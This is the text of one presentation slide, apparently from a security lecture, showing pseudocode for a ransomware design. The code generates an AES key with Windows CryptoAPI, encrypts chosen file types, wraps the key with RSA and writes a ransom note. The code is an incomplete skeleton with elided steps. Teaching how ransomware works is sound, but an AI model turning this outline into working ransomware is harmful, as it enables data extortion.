Slide 36
Slide 36 text
Ransomware
Design
36
void thread_encrypt() { // main calling function
...
HCRYPTKEY symKey; // handle to key
HCRYPTPROV hProv = [...]; // handle to CSP
symKey = generateKey(hProv); // call to key generation function
encryptData(hProv, symKey); // call to file encryption procedure
cleanup(symKey); // clean up procedure
CryptDestroyKey(symKey); // destroy key in memory
CryptReleaseContext(hProv, 0); // release handle to CSP
}
HCRYPTKEY generateKey(hProv) {
HCRYPTKEY symmKey; // handle to key
CryptGenKey(hProv, CALG_AES_128, 1u, &symmKey); // generate AES-128 key
DWORD mode = CRYPT_MODE_CBC; // use CBC cipher mode
CryptSetKeyParam(symmKey, KP_MODE, &mode, 0);
DWORD padData = PKCS5_PADDING; // PKCS 5 padding method
CryptSetKeyParam(symmKey, KP_PADDING, &padData, 0); // set the padding mode
return symmKey; // return generated key
}
void encryptData(hProv, symKey) {
for each file type F: // search for specific file types
cryptFile(hProv, symKey); // locate and encrypt files
}
void cleanup(hProv, symKey) {
HCRYPTKEY asymPubKey = getasymPubKey(hProv): //acquire RSA public key
void* symKeyEncryptb64 = exportKey(symKey, asymPubKey);
//encrypt and encode AES key
//...write ransomnote.txt...
//...write base64 encoded encrypted AES key...
//...
LocalFree(symKeyEncryptb64); //free allocated memory
}